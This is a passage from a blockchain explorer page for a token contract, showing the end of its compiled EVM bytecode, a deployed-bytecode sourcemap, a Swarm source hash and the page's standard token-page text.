b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611302578086048111156112de576112dd611280565b5b60018516156112ed5780820291505b80810290506112fb856112ad565b94506112c2565b94509492505050565b5f8261131a57600190506113d5565b81611327575f90506113d5565b816001811461133d576002811461134757611376565b60019150506113d5565b60ff84111561135957611358611280565b5b8360020a9150848211156113705761136f611280565b5b506113d5565b5060208310610133831016604e8410600b84101617156113ab5782820a9050838111156113a6576113a5611280565b5b6113d5565b6113b884848460016112b9565b925090508184048111156113cf576113ce611280565b5b81810290505b9392505050565b5f6113e68261102c565b91506113f183611148565b925061141e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461130b565b905092915050565b5f6114308261102c565b915061143b8361102c565b92508282026114498161102c565b915082820484148315176114605761145f611280565b5b5092915050565b5f6114718261102c565b915061147c8361102c565b925082820390508181111561149457611493611280565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6114d18261102c565b91506114dc8361102c565b9250826114ec576114eb61149a565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61157d61157861157384611551565b61155a565b61102c565b9050919050565b61158d81611563565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6115c581610ff1565b82525050565b5f6115d683836115bc565b60208301905092915050565b5f602082019050919050565b5f6115f882611593565b611602818561159d565b935061160d836115ad565b805f5b8381101561163d57815161162488826115cb565b975061162f836115e2565b925050600181019050611610565b5085935050505092915050565b61165381610ff1565b82525050565b5f60a08201905061166c5f8301886110d0565b6116796020830187611584565b818103604083015261168b81866115ee565b905061169a606083018561164a565b6116a760808301846110d0565b9695505050505050565b5f6116bb8261102c565b91506116c68361102c565b92508282019050808211156116de576116dd611280565b5b9291505056fea2646970667358221220013988960328e820c66fd9b53bd2f27c1a26d3e8beb2aa98549d736ed63be76664736f6c63430008150033

Deployed Bytecode Sourcemap

463:4183:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1323:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1927:222;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1086:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;492:208;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1040:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1773:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1436:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2161:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;988:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4448:191;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4129:164;;;;;;;;;;;;;:::i;:::-;;939:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1829:66;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1323:95;1368:13;1401:5;1394:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1323:95;:::o;1927:222::-;1995:4;2048:6;2015:9;:21;2025:10;2015:21;;;;;;;;;;;;;;;:30;2037:7;2015:30;;;;;;;;;;;;;;;:39;;;;2095:7;2074:37;;2083:10;2074:37;;;2104:6;2074:37;;;;;;:::i;:::-;;;;;;;;2133:4;2126:11;;1927:222;;;;:::o;1086:61::-;1073:2;1135;:12;;;;:::i;:::-;1124:7;:23;;;;:::i;:::-;1086:61;:::o;492:208::-;574:4;625:6;594:9;:15;604:4;594:15;;;;;;;;;;;;;;;:27;610:10;594:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;661:27;671:4;677:2;681:6;661:9;:27::i;:::-;654:34;;492:208;;;;;:::o;1040:35::-;1073:2;1040:35;:::o;1773:45::-;;;;;;;;;;;;;;;;;:::o;1436:99::-;1483:13;1516:7;1509:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1436:99;:::o;2161:136::-;2225:4;2252:33;2262:10;2274:2;2278:6;2252:9;:33::i;:::-;2245:40;;2161:136;;;;:::o;988:39::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4448:191::-;2642:42;4523:19;;:10;:19;;;4520:69;;4576:13;;;;;;;;;;;;;;4520:69;4604:23;4615:4;4621:5;4604:10;:23::i;:::-;4448:191;;:::o;4129:164::-;2642:42;4184:19;;:10;:19;;;4176:28;;;;;;4228:11;;;;;;;;;;;4227:12;4219:21;;;;;;4269:4;4255:11;;:18;;;;;;;;;;;;;;;;;;4129:164::o;939:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1829:66::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2833:1284::-;2912:4;2940:11;;;;;;;;;;;:28;;;;2642:42;2955:13;;:4;:13;;;2940:28;:43;;;;2642:42;2972:11;;:2;:11;;;2940:43;2932:52;;;;;;3005:11;;;;;;;;;;;3004:12;:34;;;;;3036:1;3020:18;;:4;;;;;;;;;;;:18;;;3004:34;:48;;;;;3051:1;3042:6;:10;3004:48;3001:79;;;3078:2;3071:4;;:9;;;;;;;;;;;;;;;;;;3001:79;3116:6;3097:9;:15;3107:4;3097:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3149:4;;;;;;;;;;;3143:10;;:2;:10;;;:23;;;;;3158:8;;;;;;;;;;;3157:9;3143:23;:65;;;;;1267:3;1073:2;1135;:12;;;;:::i;:::-;1124:7;:23;;;;:::i;:::-;1253:17;;;;:::i;:::-;3170:9;:24;3188:4;3170:24;;;;;;;;;;;;;;;;:38;;3143:65;3139:609;;;3239:4;3228:8;;:15;;;;;;;;;;;;;;;;;;3262:21;3300:1;3286:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3262:40;;3339:4;3321;3326:1;3321:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;2363:42;3363:4;3368:1;3363:7;;;;;;;;:::i;:::-;;;;;;;:13;;;;;;;;;;;2449:42;3395:69;;;1267:3;1073:2;1135;:12;;;;:::i;:::-;1124:7;:23;;;;:::i;:::-;1253:17;;;;:::i;:::-;3520:1;3544:4;3579;3607:15;3395:246;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2642:42;3660:14;;:37;3675:21;3660:37;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3727:5;3716:8;;:16;;;;;;;;;;;;;;;;;;3209:539;3139:609;3783:4;3767:21;;:4;:21;;;3764:232;;3808:19;3879:3;3848:4;;;;;;;;;;;3840:12;;:4;:12;;;:35;;3866:9;;3840:35;;;3855:8;;3840:35;3830:6;:46;;;;:::i;:::-;:52;;;;:::i;:::-;3808:74;;3911:11;3901:21;;;;;:::i;:::-;;;3969:11;3941:9;:24;3959:4;3941:24;;;;;;;;;;;;;;;;:39;;;;;;;:::i;:::-;;;;;;;;3789:207;3764:232;4027:6;4010:9;:13;4020:2;4010:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;4068:2;4053:26;;4062:4;4053:26;;;4072:6;4053:26;;;;;;:::i;:::-;;;;;;;;4101:4;4094:11;;2833:1284;;;;;:::o;4305:131::-;4388:4;4377:8;:15;;;;4419:5;4407:9;:17;;;;4305:131;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:::-;5736:6;5744;5793:2;5781:9;5772:7;5768:23;5764:32;5761:119;;;5799:79;;:::i;:::-;5761:119;5919:1;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5890:117;6046:2;6072:53;6117:7;6108:6;6097:9;6093:22;6072:53;:::i;:::-;6062:63;;6017:118;5668:474;;;;;:::o;6148:180::-;6196:77;6193:1;6186:88;6293:4;6290:1;6283:15;6317:4;6314:1;6307:15;6334:320;6378:6;6415:1;6409:4;6405:12;6395:22;;6462:1;6456:4;6452:12;6483:18;6473:81;;6539:4;6531:6;6527:17;6517:27;;6473:81;6601:2;6593:6;6590:14;6570:18;6567:38;6564:84;;6620:18;;:::i;:::-;6564:84;6385:269;6334:320;;;:::o;6660:180::-;6708:77;6705:1;6698:88;6805:4;6802:1;6795:15;6829:4;6826:1;6819:15;6846:102;6888:8;6935:5;6932:1;6928:13;6907:34;;6846:102;;;:::o;6954:848::-;7015:5;7022:4;7046:6;7037:15;;7070:5;7061:14;;7084:712;7105:1;7095:8;7092:15;7084:712;;;7200:4;7195:3;7191:14;7185:4;7182:24;7179:50;;;7209:18;;:::i;:::-;7179:50;7259:1;7249:8;7245:16;7242:451;;;7674:4;7667:5;7663:16;7654:25;;7242:451;7724:4;7718;7714:15;7706:23;;7754:32;7777:8;7754:32;:::i;:::-;7742:44;;7084:712;;;6954:848;;;;;;;:::o;7808:1073::-;7862:5;8053:8;8043:40;;8074:1;8065:10;;8076:5;;8043:40;8102:4;8092:36;;8119:1;8110:10;;8121:5;;8092:36;8188:4;8236:1;8231:27;;;;8272:1;8267:191;;;;8181:277;;8231:27;8249:1;8240:10;;8251:5;;;8267:191;8312:3;8302:8;8299:17;8296:43;;;8319:18;;:::i;:::-;8296:43;8368:8;8365:1;8361:16;8352:25;;8403:3;8396:5;8393:14;8390:40;;;8410:18;;:::i;:::-;8390:40;8443:5;;;8181:277;;8567:2;8557:8;8554:16;8548:3;8542:4;8539:13;8535:36;8517:2;8507:8;8504:16;8499:2;8493:4;8490:12;8486:35;8470:111;8467:246;;;8623:8;8617:4;8613:19;8604:28;;8658:3;8651:5;8648:14;8645:40;;;8665:18;;:::i;:::-;8645:40;8698:5;;8467:246;8738:42;8776:3;8766:8;8760:4;8757:1;8738:42;:::i;:::-;8723:57;;;;8812:4;8807:3;8803:14;8796:5;8793:25;8790:51;;;8821:18;;:::i;:::-;8790:51;8870:4;8863:5;8859:16;8850:25;;7808:1073;;;;;;:::o;8887:281::-;8945:5;8969:23;8987:4;8969:23;:::i;:::-;8961:31;;9013:25;9029:8;9013:25;:::i;:::-;9001:37;;9057:104;9094:66;9084:8;9078:4;9057:104;:::i;:::-;9048:113;;8887:281;;;;:::o;9174:410::-;9214:7;9237:20;9255:1;9237:20;:::i;:::-;9232:25;;9271:20;9289:1;9271:20;:::i;:::-;9266:25;;9326:1;9323;9319:9;9348:30;9366:11;9348:30;:::i;:::-;9337:41;;9527:1;9518:7;9514:15;9511:1;9508:22;9488:1;9481:9;9461:83;9438:139;;9557:18;;:::i;:::-;9438:139;9222:362;9174:410;;;;:::o;9590:194::-;9630:4;9650:20;9668:1;9650:20;:::i;:::-;9645:25;;9684:20;9702:1;9684:20;:::i;:::-;9679:25;;9728:1;9725;9721:9;9713:17;;9752:1;9746:4;9743:11;9740:37;;;9757:18;;:::i;:::-;9740:37;9590:194;;;;:::o;9790:180::-;9838:77;9835:1;9828:88;9935:4;9932:1;9925:15;9959:4;9956:1;9949:15;9976:185;10016:1;10033:20;10051:1;10033:20;:::i;:::-;10028:25;;10067:20;10085:1;10067:20;:::i;:::-;10062:25;;10106:1;10096:35;;10111:18;;:::i;:::-;10096:35;10153:1;10150;10146:9;10141:14;;9976:185;;;;:::o;10167:180::-;10215:77;10212:1;10205:88;10312:4;10309:1;10302:15;10336:4;10333:1;10326:15;10353:180;10401:77;10398:1;10391:88;10498:4;10495:1;10488:15;10522:4;10519:1;10512:15;10539:85;10584:7;10613:5;10602:16;;10539:85;;;:::o;10630:60::-;10658:3;10679:5;10672:12;;10630:60;;;:::o;10696:158::-;10754:9;10787:61;10805:42;10814:32;10840:5;10814:32;:::i;:::-;10805:42;:::i;:::-;10787:61;:::i;:::-;10774:74;;10696:158;;;:::o;10860:147::-;10955:45;10994:5;10955:45;:::i;:::-;10950:3;10943:58;10860:147;;:::o;11013:114::-;11080:6;11114:5;11108:12;11098:22;;11013:114;;;:::o;11133:184::-;11232:11;11266:6;11261:3;11254:19;11306:4;11301:3;11297:14;11282:29;;11133:184;;;;:::o;11323:132::-;11390:4;11413:3;11405:11;;11443:4;11438:3;11434:14;11426:22;;11323:132;;;:::o;11461:108::-;11538:24;11556:5;11538:24;:::i;:::-;11533:3;11526:37;11461:108;;:::o;11575:179::-;11644:10;11665:46;11707:3;11699:6;11665:46;:::i;:::-;11743:4;11738:3;11734:14;11720:28;;11575:179;;;;:::o;11760:113::-;11830:4;11862;11857:3;11853:14;11845:22;;11760:113;;;:::o;11909:732::-;12028:3;12057:54;12105:5;12057:54;:::i;:::-;12127:86;12206:6;12201:3;12127:86;:::i;:::-;12120:93;;12237:56;12287:5;12237:56;:::i;:::-;12316:7;12347:1;12332:284;12357:6;12354:1;12351:13;12332:284;;;12433:6;12427:13;12460:63;12519:3;12504:13;12460:63;:::i;:::-;12453:70;;12546:60;12599:6;12546:60;:::i;:::-;12536:70;;12392:224;12379:1;12376;12372:9;12367:14;;12332:284;;;12336:14;12632:3;12625:10;;12033:608;;;11909:732;;;;:::o;12647:118::-;12734:24;12752:5;12734:24;:::i;:::-;12729:3;12722:37;12647:118;;:::o;12771:831::-;13034:4;13072:3;13061:9;13057:19;13049:27;;13086:71;13154:1;13143:9;13139:17;13130:6;13086:71;:::i;:::-;13167:80;13243:2;13232:9;13228:18;13219:6;13167:80;:::i;:::-;13294:9;13288:4;13284:20;13279:2;13268:9;13264:18;13257:48;13322:108;13425:4;13416:6;13322:108;:::i;:::-;13314:116;;13440:72;13508:2;13497:9;13493:18;13484:6;13440:72;:::i;:::-;13522:73;13590:3;13579:9;13575:19;13566:6;13522:73;:::i;:::-;12771:831;;;;;;;;:::o;13608:191::-;13648:3;13667:20;13685:1;13667:20;:::i;:::-;13662:25;;13701:20;13719:1;13701:20;:::i;:::-;13696:25;;13744:1;13741;13737:9;13730:16;;13765:3;13762:1;13759:10;13756:36;;;13772:18;;:::i;:::-;13756:36;13608:191;;;;:::o

Swarm Source

ipfs://013988960328e820c66fd9b53bd2f27c1a26d3e8beb2aa98549d736ed63be766
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.